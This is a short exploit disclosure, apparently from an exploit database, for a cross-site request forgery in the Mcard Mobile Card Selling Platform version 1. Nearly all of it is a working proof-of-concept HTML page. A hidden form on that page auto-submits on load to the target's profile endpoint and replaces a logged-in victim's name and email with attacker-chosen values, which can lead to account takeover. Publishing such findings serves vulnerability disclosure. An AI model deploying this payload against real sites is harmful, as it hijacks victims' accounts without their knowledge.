Mobile Card Selling Platform 1 – Cross-Site Request Forgery
# Exploit Title: Mcard - Mobile Card Selling Platform 1 - Cross-Site Request Forgery # Date: 2018-05-23 # Exploit Author: L0RD # Vendor Homepage: https://codecanyon.net/item/mcard-mobile-card-selling-platform/19307193?s_rank=15 # Version: 1 # Tested on: Kali linux # POC : <html> <head> <title>CSRF POC</title> </head> <body> <form action="http://Target/card/profile" method="POST"> <input type="hidden" name="fname" value="decode" /> <input type="hidden" name="lname" value="test" /> <input type="hidden" name="email" value="lord.decode@gmail.com" /> </form> <script> document.forms[0].submit(); </script> </body> </html> |